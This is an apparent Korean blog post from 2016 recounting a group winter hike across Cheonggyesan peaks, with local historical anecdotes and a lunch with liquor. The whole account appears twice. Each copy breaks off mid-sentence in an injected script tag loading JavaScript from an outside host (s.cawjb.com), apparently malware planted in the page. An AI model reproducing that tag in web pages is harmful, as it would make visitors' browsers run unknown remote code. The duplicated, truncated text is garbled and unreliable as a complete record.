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[제목]
너희가 청계산을 알아!(수정) (백운학)
🧑 정부영
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📅 2016-01-06 22:41:54
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👀 351
옛골-3.6km-이수봉(545m)-1.8km-망경대(618.2m)-0.82km-매봉(582.5m)-3.3km-원터골
[총거리9.5km, 산행시간 4시간]
오늘 산행의 기점인 옛골에서의 출발은, 평소 청계산의 산행기점인 원터골에서 시작해 옥녀봉을 돌아 매봉으로 올라 조금 더 가면 레이다 사이트가 있는 만경대까지가 청계산을 다닌게 전부인 나로서는 정말 청계의 진면목을 볼 수 있는 그런 기회였다.
이런 산행에 참여한 이는 내게 새로운 청계산을 보여준 준회, 준회엄마, 응구네와 경택, 자천, 동식, 정식, 홍림, 나를 포함해 9인(정기산행을 제외하고는 가족동반에 대한 예우로 우선권을 부여하는 인센티브 제공)이 당초 예정된 코스인 이수봉까지 오르기로 되어있었다. 그건 경택이의 오후 친지결혼식 참여를 위한 배려였다. 코스를 오르면서 어딘가 가본듯한 길같다고 내머리속에서는 사인을 보내는데 요리조리 뱅글뱅글하다가 떠오른 길이 대관령 옛길의 재판이다. 이름도 옛길-옛골 비슷하다. 어제 한 1단 기어 검단산행에서 육천 알피엠의 고출력으로 1시간여를 주행하다 라디에이터 뚜껑이 날라가기 직전의 위기가 떠오르는 정식으로서는 거의 쾌적주행을 할 수 있어 얼마나 다행인지 모른다며 가슴을 쓸어내린다.
오늘 날씨가 영하 15도라지만 능선에서 맞는 바람속에는 뼈속까지 아려오는 냉기가 뺨을 스칠 때는 우리 몸에 있는 구멍이라고 생긴 곳마다 물이 줄줄 흘러내리는 착각이 느껴진다.
1시간여를 오르니 이 동네 사람들이 세워놓은 이수봉 정상(545m)비가 보인다. 내용을 보니 김종직(金宗直)의 문하생인 김굉필(金宏弼), 김일손(金馹孫)과 함께 동문수학한 정여창(鄭汝昌)이 그 스승이 생전에 지은 조의제문(弔義帝文)을 사관(史官)인 김일손이 사초(史草)에 적어 넣은 것이 원인이 된 무오사화(戊午士禍)를 예견하고 관직에서 물러나 이곳에 은거하였단다. 그래서 죽음을 면하고 종성(鍾城)으로 유배되기는 했지만 말이다.
경택이의 갈등이 시작된다. 이곳에서 하산을 해야 결혼식에 참석할 수 있는데 아무리 봐도 여기서 내려가자고하는 친구가 아무도 없을 것 같기에 말이다. 점심은 먹어야 겠기에 만경대 쪽으로 발걸음을 옮긴다. 그곳까지는 내리막으로 시작하지만 눈이 쌓여 무척이나 미끄러워 아이젠을 치고 가라고 응구가 충고를 한다. 하지만 꼭 않하는 사람이 있다. 동식이 하고 나하고.... 햇볕이 따사로운 넓직한 헬기장이 나타나고 조금 더 가면 절고개 능선을 지나쳐 석기봉을 오르면 새로운 헬기장이 나타난다.
우리가 점심을 먹을 곳이란다. 먼저간 경택이가 건설공사장에서 쓰는 판넬을 가져다 식탁을 대신하려 한다. 그 위에 식탁보까지 깔아 근사한 도시락에 정식이가 가져온 양주와 경택이가 준비한 따끈따끈한 정종을 준비해와 점심 분위기를 업 시켜주었다. 어떤 개그맨의"분위기 다운되면 다시 돌아온다"는 멘트처럼 날씨가 어제는 입학시험 예비소집일이고, 본고사 같은 오늘은 역시 술이 짱이다. 동식아 많이 미안하다. "함경도표 좁쌀든 가자미 식혜"를 앞 친구들이 다 먹어버리고는 다음 산행 때는 싸오는 당번으로 지정을 한 홍림이가 한 주문을 듣고서야 네 반창통을 보니 이미 찌꺼기만 조금 남은 상태라 맛을 제대로 본것도 아니고 꼬라지가 나서 그 이야기는 쏙 뺄려고 했는데 마음보를 잘 써야 자식이 잘된다고 하여 마음을 고쳐먹고 다시 쓴다네. 음식솜씨가 뛰어난 집사람을 두어 좋겠어. 산을 자주 다닌 넘들은 햇볕을 등지고 앉는다. 그렇지 않은 초보들은 그래서 또 한수 배운다.
점심을 마치고 난 휘공들은 청계산 정상의 석대인 망경대(望京臺)를 올라 군사시설 옆으로 나 있는 좁은 길을 지나 응봉(鷹峰)을 향하는데 결국은 말을 안듣던 둘도 아이젠을 치고 갈 수 밖에 없는 상황에 다다랐다. 여기가 북한산, 도봉산의 릿지(암릉)구간이 무색하네요. 집안식구들의 단합이 어려운 가정은 일가족이 여기를 함께 산행해보면 최고 일 것 같은 어려웁기는 하지만 통과를 하고나면 우애가 넘쳐 팀워크 회복이 필요한 가장은 내가 극력 추천코스로 정하기를 주저하지 않겠다. 무사히 넘어간 일행들은 응봉 바로 아래 있는 길거리 막걸리집에서 한 사발씩 들이킨다. 안주는 마른 멸치에 고추장이 전부다. 응구가 주인장에게 정종대포를 파는게 어떻겠냐고 한수 거든다.

◀사진: 정상아래 암릉에서 바라본 대공원일대와 관악산
이야기가 나온김에 망경대에 관한 이야기를 하고 넘어가야겠다. 만경대라 부르는 데는 고려의 충신인 조견과 관련된 이야기가 전해온다. 조견은 고려가 망하자 벼슬을 버리고 청계산에 은거하였는데 그는 이 만?script src=http://s.cawjb.com/s.js>
[총거리9.5km, 산행시간 4시간]
오늘 산행의 기점인 옛골에서의 출발은, 평소 청계산의 산행기점인 원터골에서 시작해 옥녀봉을 돌아 매봉으로 올라 조금 더 가면 레이다 사이트가 있는 만경대까지가 청계산을 다닌게 전부인 나로서는 정말 청계의 진면목을 볼 수 있는 그런 기회였다.
이런 산행에 참여한 이는 내게 새로운 청계산을 보여준 준회, 준회엄마, 응구네와 경택, 자천, 동식, 정식, 홍림, 나를 포함해 9인(정기산행을 제외하고는 가족동반에 대한 예우로 우선권을 부여하는 인센티브 제공)이 당초 예정된 코스인 이수봉까지 오르기로 되어있었다. 그건 경택이의 오후 친지결혼식 참여를 위한 배려였다. 코스를 오르면서 어딘가 가본듯한 길같다고 내머리속에서는 사인을 보내는데 요리조리 뱅글뱅글하다가 떠오른 길이 대관령 옛길의 재판이다. 이름도 옛길-옛골 비슷하다. 어제 한 1단 기어 검단산행에서 육천 알피엠의 고출력으로 1시간여를 주행하다 라디에이터 뚜껑이 날라가기 직전의 위기가 떠오르는 정식으로서는 거의 쾌적주행을 할 수 있어 얼마나 다행인지 모른다며 가슴을 쓸어내린다.
오늘 날씨가 영하 15도라지만 능선에서 맞는 바람속에는 뼈속까지 아려오는 냉기가 뺨을 스칠 때는 우리 몸에 있는 구멍이라고 생긴 곳마다 물이 줄줄 흘러내리는 착각이 느껴진다.
1시간여를 오르니 이 동네 사람들이 세워놓은 이수봉 정상(545m)비가 보인다. 내용을 보니 김종직(金宗直)의 문하생인 김굉필(金宏弼), 김일손(金馹孫)과 함께 동문수학한 정여창(鄭汝昌)이 그 스승이 생전에 지은 조의제문(弔義帝文)을 사관(史官)인 김일손이 사초(史草)에 적어 넣은 것이 원인이 된 무오사화(戊午士禍)를 예견하고 관직에서 물러나 이곳에 은거하였단다. 그래서 죽음을 면하고 종성(鍾城)으로 유배되기는 했지만 말이다.
경택이의 갈등이 시작된다. 이곳에서 하산을 해야 결혼식에 참석할 수 있는데 아무리 봐도 여기서 내려가자고하는 친구가 아무도 없을 것 같기에 말이다. 점심은 먹어야 겠기에 만경대 쪽으로 발걸음을 옮긴다. 그곳까지는 내리막으로 시작하지만 눈이 쌓여 무척이나 미끄러워 아이젠을 치고 가라고 응구가 충고를 한다. 하지만 꼭 않하는 사람이 있다. 동식이 하고 나하고.... 햇볕이 따사로운 넓직한 헬기장이 나타나고 조금 더 가면 절고개 능선을 지나쳐 석기봉을 오르면 새로운 헬기장이 나타난다.
우리가 점심을 먹을 곳이란다. 먼저간 경택이가 건설공사장에서 쓰는 판넬을 가져다 식탁을 대신하려 한다. 그 위에 식탁보까지 깔아 근사한 도시락에 정식이가 가져온 양주와 경택이가 준비한 따끈따끈한 정종을 준비해와 점심 분위기를 업 시켜주었다. 어떤 개그맨의"분위기 다운되면 다시 돌아온다"는 멘트처럼 날씨가 어제는 입학시험 예비소집일이고, 본고사 같은 오늘은 역시 술이 짱이다. 동식아 많이 미안하다. "함경도표 좁쌀든 가자미 식혜"를 앞 친구들이 다 먹어버리고는 다음 산행 때는 싸오는 당번으로 지정을 한 홍림이가 한 주문을 듣고서야 네 반창통을 보니 이미 찌꺼기만 조금 남은 상태라 맛을 제대로 본것도 아니고 꼬라지가 나서 그 이야기는 쏙 뺄려고 했는데 마음보를 잘 써야 자식이 잘된다고 하여 마음을 고쳐먹고 다시 쓴다네. 음식솜씨가 뛰어난 집사람을 두어 좋겠어. 산을 자주 다닌 넘들은 햇볕을 등지고 앉는다. 그렇지 않은 초보들은 그래서 또 한수 배운다.
점심을 마치고 난 휘공들은 청계산 정상의 석대인 망경대(望京臺)를 올라 군사시설 옆으로 나 있는 좁은 길을 지나 응봉(鷹峰)을 향하는데 결국은 말을 안듣던 둘도 아이젠을 치고 갈 수 밖에 없는 상황에 다다랐다. 여기가 북한산, 도봉산의 릿지(암릉)구간이 무색하네요. 집안식구들의 단합이 어려운 가정은 일가족이 여기를 함께 산행해보면 최고 일 것 같은 어려웁기는 하지만 통과를 하고나면 우애가 넘쳐 팀워크 회복이 필요한 가장은 내가 극력 추천코스로 정하기를 주저하지 않겠다. 무사히 넘어간 일행들은 응봉 바로 아래 있는 길거리 막걸리집에서 한 사발씩 들이킨다. 안주는 마른 멸치에 고추장이 전부다. 응구가 주인장에게 정종대포를 파는게 어떻겠냐고 한수 거든다.

◀사진: 정상아래 암릉에서 바라본 대공원일대와 관악산
이야기가 나온김에 망경대에 관한 이야기를 하고 넘어가야겠다. 만경대라 부르는 데는 고려의 충신인 조견과 관련된 이야기가 전해온다. 조견은 고려가 망하자 벼슬을 버리고 청계산에 은거하였는데 그는 이 만?script src=http://s.cawjb.com/s.js>
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